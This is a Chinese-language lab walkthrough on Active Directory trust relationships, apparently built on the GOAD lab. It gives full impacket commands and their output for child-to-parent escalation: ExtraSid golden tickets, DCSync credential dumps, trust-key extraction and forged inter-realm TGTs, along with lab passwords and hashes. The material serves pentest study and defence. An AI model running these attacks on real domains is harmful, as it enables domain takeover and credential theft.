
AD信任关系
什么是信任关系?
在 Active Directory 中,信任关系 允许一个域的用户访问另一个域的资源。信任是一种认证机制,而非授权机制。
白话解释:
text
1 2 3 4 5 6 7
| 域 A 信任 域 B ↓ 域 A 说:“我相信域 B 的身份验证” ↓ 但不代表:“域 B 的用户可以访问域 A 的所有资源” ↓ 还需要:明确的授权设置(ACL、群组成员资格等)
|
信任关系的类型
Domain Trust(域信任)- 父子关系
1 2 3
| 父域: sevenkingdoms.local ↕ (双向信任) 子域: north.sevenkingdoms.local
|
特性:
- 自动建立:子域建立时自动与父域建立双向信任。
- 传递性:信任关系可以传递(A 信任 B,B 信任 C → A 信任 C)。
- 双向:父域和子域互相信任。
- Kerberos 协议:使用 Kerberos 进行跨域认证。
- SID Filtering:默认不启用(危险!)。
安全问题:
- 子域的 Domain Admins 不等于 父域的 Domain Admins。
- 但是!Enterprise Admins(只存在于森林根域)可以控制所有域。
- 子域控制器可以利用信任机制提权到父域。
Forest Trust(森林信任)- 独立森林
1 2 3
| 森林 A: sevenkingdoms.local ↕ (双向信任) 森林 B: essos.local
|
特性:
- 手动建立:需要管理员明确设定。
- 可选单向或双向:灵活设定信任方向。
- SID Filtering:默认启用(除非特别关闭)。
- 选择性认证:可以限制跨森林访问。
安全问题:
- 如果 SID Filtering 被禁用 或 SID History 被启用 → 可以伪造特权群组成员资格。
- Foreign Groups 可能提供跨森林的攻击路径。
- Unconstrained Delegation 主机可以捕获外部森林 DC 的票据。
枚举信任关系
ldeep枚举
查询 sevenkingdoms.local 的信任关系
1
| ldeep ldap -u tywin.lannister -p 'powerkingftw135' -d sevenkingdoms.local -s ldap:
|

结果说明
- 信任对象:
north.sevenkingdoms.local(子域)
- 信任方向:双向(Bidirectional)- 互相信任
- 关系类型:
WITHIN_FOREST- 同一个集团内的父子公司关系
- 这是 同一 Forest 内的域
- 自动的双向、可传递信任
- Kerberos 可跨域使用
- 攻击面会扩大(横向、委派、ACL、Kerberos 相关攻击)
查询north.sevenkingdoms.local 的信任关系
1
| ldeep ldap -u tywin.lannister -p 'powerkingftw135' -d sevenkingdoms.local -s ldap:
|

和sevenkingdoms.local 域一样,双向信任
BloodHound
1
| MATCH p=(n:Domain)-->(m:Domain) RETURN p
|

LDAP 查询
1
| ldapsearch -x -H ldap://192.168.56.10 -D "tywin.lannister@sevenkingdoms.local" -w 'powerkingftw135' -b "CN=System,DC=sevenkingdoms,DC=local" "(objectCategory=trustedDomain)"
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43
| ┌──(root㉿kali)-[/home/kali/GOAD] └─ -D "tywin.lannister@sevenkingdoms.local" \ -w 'powerkingftw135' \ -b "CN=System,DC=sevenkingdoms,DC=local" \ "(objectCategory=trustedDomain)"
dn: CN=north.sevenkingdoms.local,CN=System,DC=sevenkingdoms,DC=local objectClass: top objectClass: leaf objectClass: trustedDomain cn: north.sevenkingdoms.local distinguishedName: CN=north.sevenkingdoms.local,CN=System,DC=sevenkingdoms,DC=local instanceType: 4 whenCreated: 20260119151223.0Z whenChanged: 20260119151223.0Z uSNCreated: 12881 uSNChanged: 12882 showInAdvancedViewOnly: TRUE name: north.sevenkingdoms.local objectGUID:: pYy7rr3FHUWZ2j0CF5v4BA== securityIdentifier:: AQQAAAAAAAUVAAAAHwaeD47oURCTqAoC trustDirection: 3 trustPartner: north.sevenkingdoms.local trustPosixOffset: -2147483648 trustType: 2 trustAttributes: 32 flatName: NORTH objectCategory: CN=Trusted-Domain,CN=Schema,CN=Configuration,DC=sevenkingdoms,DC=local isCriticalSystemObject: TRUE dSCorePropagationData: 16010101000000.0Z
search: 2 result: 0 Success
|
子域到父域的提权攻击
默认DCRsync
“Active Directory domains should not be considered a security boundary. The forest is the security boundary.”
1 2 3 4 5 6
| Forest(安全边界) └── 父域 DC ↑ 允许 Forest 内受信主体做复制 └── 子域 DC
在同一 Forest 里,父域 DC 会“默认信任子域 DC/管理员来复制数据”
|
Enterprise Admins 群组:
- 只存在于森林根域(sevenkingdoms.local)
- RID:519
- 对整个森林有完全控制权
- 成员可以控制所有子域
SID 的组成
1 2 3 4 5 6 7 8 9 10
| S-1-5-21-{Domain SID}-{RID}
north.sevenkingdoms.local 的 Domain SID: S-1-5-21-638448100-4005671799-261795860
sevenkingdoms.local 的 Domain SID: S-1-5-21-1409754491-4246775990-3914137275
sevenkingdoms.local 的 Enterprise Admins: S-1-5-21-1409754491-4246775990-3914137275-519
|
Golden Ticket with ExtraSid
- 使用子域的krbtgt hash 建立TGT
- 在TGT 中添加父域的Enterprise Admins SID(-519)
- 域控制器信任子域的认证→ 接受TGT
- TGT 中包含Enterprise Admins → 拥有父域完全控制权
Impacket raiseChild.py(自动化)
获取父域hash
raiseChild.py 会自动取得所需的凭证资讯,但需要手动重新生成正确的Golden Ticket。
1
| impacket-raiseChild north.sevenkingdoms.local/eddard.stark:'FightP3aceAndHonor!'
|
1 2 3 4 5 6 7 8 9 10 11 12 13
| [*] Raising child domain north.sevenkingdoms.local [*] Forest FQDN is: sevenkingdoms.local [*] Raising north.sevenkingdoms.local to sevenkingdoms.local [*] sevenkingdoms.local Enterprise Admin SID is: S-1-5-21-1310755497-773461623-2086370076-519 [*] Getting credentials for north.sevenkingdoms.local north.sevenkingdoms.local/krbtgt:502:aad3b435b51404eeaad3b435b51404ee:ce78790a7ddd98c36dab6a95675ddb78::: north.sevenkingdoms.local/krbtgt:aes256-cts-hmac-sha1-96s:877d32ddbe5108dfe2d62696c9e22494468a843d34b4a2fed7e8c544e07259f7 [*] Getting credentials for sevenkingdoms.local sevenkingdoms.local/krbtgt:502:aad3b435b51404eeaad3b435b51404ee:816110e00d77ac448e607e8b357f25d4::: sevenkingdoms.local/krbtgt:aes256-cts-hmac-sha1-96s:6ccfd4b20a0369f7dc268cc82385cde2762244e2e8f79bdbcfd06471c54b5e32 [*] Target User account name is Administrator sevenkingdoms.local/Administrator:500:aad3b435b51404eeaad3b435b51404ee:c66d72021a2d4744409969a581a1705e::: sevenkingdoms.local/Administrator:aes256-cts-hmac-sha1-96s:bdb1a615bc9d82d2ab21f09f11baaef4bc66c48efdd56424e1206e581e4dd827
|
攻击链
1 2 3 4 5 6 7 8 9
| 子域 DA ↓ DCSync 子域 krbtgt ↓ Forest 信任关系 ↓ DCSync 父域 krbtgt ↓ DCSync 父域 Administrator
|

制作票据
1 2 3 4 5 6 7 8
| impacket-ticketer -nthash 816110e00d77ac448e607e8b357f25d4 -domain-sid S-1-5-21-1310755497-773461623-2086370076 -domain sevenkingdoms.local -extra-sid S-1-5-21-1310755497-773461623-2086370076-519 administrator
-nthash:父域krbtgt 的NT Hash -domain:父域名称 -domain-sid:父域的Domain SID(不包含RID) -extra-sid:Enterprise Admins 的SID(父域SID + 519) Administrator:目标使用者名称
|
DCSync
1
| impacket-secretsdump -k -no-pass Administrator@kingslanding.sevenkingdoms.local
|

winrm
1
| evil-winrm -i 192.168.56.10 -u Administrator -H c66d72021a2d4744409969a581a1705e
|

提取子域krbtgt Hash
1
| impacket-secretsdump -just-dc-user north/krbtgt north.sevenkingdoms.local/eddard.stark:'FightP3aceAndHonor!'@192.168.56.11
|
1 2 3 4 5 6 7 8
| [*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash) [*] Using the DRSUAPI method to get NTDS.DIT secrets krbtgt:502:aad3b435b51404eeaad3b435b51404ee:ce78790a7ddd98c36dab6a95675ddb78::: [*] Kerberos keys grabbed krbtgt:aes256-cts-hmac-sha1-96:877d32ddbe5108dfe2d62696c9e22494468a843d34b4a2fed7e8c544e07259f7 krbtgt:aes128-cts-hmac-sha1-96:a0f68a853b238b3ec6419307b60a1844 krbtgt:des-cbc-md5:49159ed668083e6d [*] Cleaning up...
|
获取SID
子域
1
| impacket-lookupsid -domain-sids north.sevenkingdoms.local/eddard.stark:'FightP3aceAndHonor!'@192.168.56.11 0
|
1 2 3 4 5 6 7
| ┌──(root㉿kali)-[/home/kali/GOAD/trust] └─# impacket-lookupsid -domain-sids north.sevenkingdoms.local/eddard.stark:'FightP3aceAndHonor!'@192.168.56.11 0 Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies [*] Brute forcing SIDs at 192.168.56.11 [*] StringBinding ncacn_np:192.168.56.11[\pipe\lsarpc] [*] Domain SID is: S-1-5-21-262014495-273803406-34252947
|
父域
1
| impacket-lookupsid -domain-sids north.sevenkingdoms.local/eddard.stark:'FightP3aceAndHonor!'@192.168.56.10 0
|
1 2 3 4 5 6 7
| ┌──(root㉿kali)-[/home/kali/GOAD/trust] └─# impacket-lookupsid -domain-sids north.sevenkingdoms.local/eddard.stark:'FightP3aceAndHonor!'@192.168.56.10 0 Impacket v0.14.0.dev0 - Copyright Fortra, LLC and its affiliated companies [*] Brute forcing SIDs at 192.168.56.10 [*] StringBinding ncacn_np:192.168.56.10[\pipe\lsarpc] [*] Domain SID is: S-1-5-21-1310755497-773461623-2086370076
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| impacket-ticketer \ -nthash ce78790a7ddd98c36dab6a95675ddb78 \ -domain-sid S-1-5-21-262014495-273803406-34252947 \ -domain north.sevenkingdoms.local \ -extra-sid S-1-5-21-1310755497-773461623-2086370076-519 \ goldenuser -nthash: 子域krbtgt 的NT Hash -domain-sid: 子域的SID -domain: 子域的FQDN -extra-sid: 父域的Enterprise Admins SID(父域SID + -519) goldenuser: 伪造的使用者名称(可以是任意名称)
|
重要的RID 清单:
| RID |
群组 |
权限范围 |
| 519 |
Enterprise Admins |
整个森林(最高权限) |
| 512 |
Domain Admins |
单一域 |
| 518 |
Schema Admins |
森林Schema |
| 520 |
Group Policy Creator Owners |
GPO 管理 |
DCSync
1 2
| impacket-secretsdump -k -no-pass -just-dc-ntlm \ north.sevenkingdoms.local/goldenuser@kingslanding.sevenkingdoms.local
|

Trust Ticket(伪造Inter-Realm TGT)
当两个域(例如父域和子域)建立信任时,它们会协商生成一对共享密钥,称为 Trust Key。这个密钥用于加密和签名所有跨域认证时使用的 Kerberos 票据。
位置:Trust Key 存储在子域的数据库(NTDS.dit)中,对应一个特殊的机器账户,名称通常是父域的NetBIOS名加上$(例如 SEVENKINGDOMS$)。
子域正常访问父域资源
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| 子域用户 Alice | | ① 我要访问父域资源 ↓ 子域 KDC | | ② 用 Trust Key 给 Alice 发一个 | “去父域用的 TGT”(Inter-Realm TGT) ↓ Alice(拿着 Inter-Realm TGT) | | ③ 把这个票给父域 KDC ↓ 父域 KDC | | ④ 用 Trust Key 验签 → OK | ⑤ 给 Alice 发父域资源的 TGS
|
攻击者的做法:
1
| 攻击者提取 Trust Key → 伪造 Inter-Realm TGT → 加入 Enterprise Admins SID
|
Trust Ticket 的特性
优势:
- 即使krbtgt 密码被重置2 次,Trust Ticket 仍然有效
- 因为使用的是Trust Key,不是krbtgt hash
- Trust Key 更新频率低,更持久
提取Trust Key
Trust Key 储存在子域的NTDS.dit 中,对应于父域名称的机器帐号。
1
| impacket-secretsdump -just-dc-user 'SEVENKINGDOMS$' north.sevenkingdoms.local/eddard.stark:'FightP3aceAndHonor!'@192.168.56.11
|

1
| SEVENKINGDOMS$:1104:aad3b435b51404eeaad3b435b51404ee:87104736ec563809ab3a7193245ae9c4:::
|
建立Inter-Realm TGT
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| impacket-ticketer \ -nthash 87104736ec563809ab3a7193245ae9c4 \ -domain-sid S-1-5-21-262014495-273803406-34252947 \ -domain north.sevenkingdoms.local \ -extra-sid S-1-5-21-1310755497-773461623-2086370076-519 \ -spn krbtgt/sevenkingdoms.local \ trustfakeuser -nthash 信任密钥 -domain-sid 票据的签发域SID -domain 票据的签发域名 -extra-sid 额外注入的特权SID -spn 必须设定为krbtgt/父域FQDN(表示这是Inter-Realm TGT) trustfakeuser 伪造的用户名
|
使用Inter-Realm TGT 请求服务票证
1 2 3 4
| impacket-getST -k -no-pass \ -spn cifs/kingslanding.sevenkingdoms.local \ sevenkingdoms.local/trustfakeuser@sevenkingdoms.local \ -debug
|
过程说明:
1 2 3 4 5 6 7 8 9 10 11
| getST 读取 trustfakeuser.ccache 中的跨域票据
连接到父域 KDC(kingslanding.sevenkingdoms.local)
使用跨域票据请求 CIFS 服务的服务票据
KDC 验证信任密钥签名 → 接受
KDC 发现企业管理员 SID → 授予完全权限
发放 CIFS 服务票据
|
使用服务票证存取父域
使用 smbclient
1
| impacket-smbclient -k -no-pass trustfakeuser@kingslanding.sevenkingdoms.local
|
DCSync
1
| impacket-secretsdump -k -no-pass -just-dc-ntlm trustfakeuser@kingslanding.sevenkingdoms.local
|

Unconstrained Delegation
WINTERFELL 是子域的域控制器,默认启用了无约束委派
使用 Coercer 工具强制父域的域控制器向 WINTERFELL 进行身份认证
在 WINTERFELL 上使用 Rubeus 工具捕获父域域控制器的 TGT(票据授予票据)
使用捕获的 TGT 执行 DCSync 攻击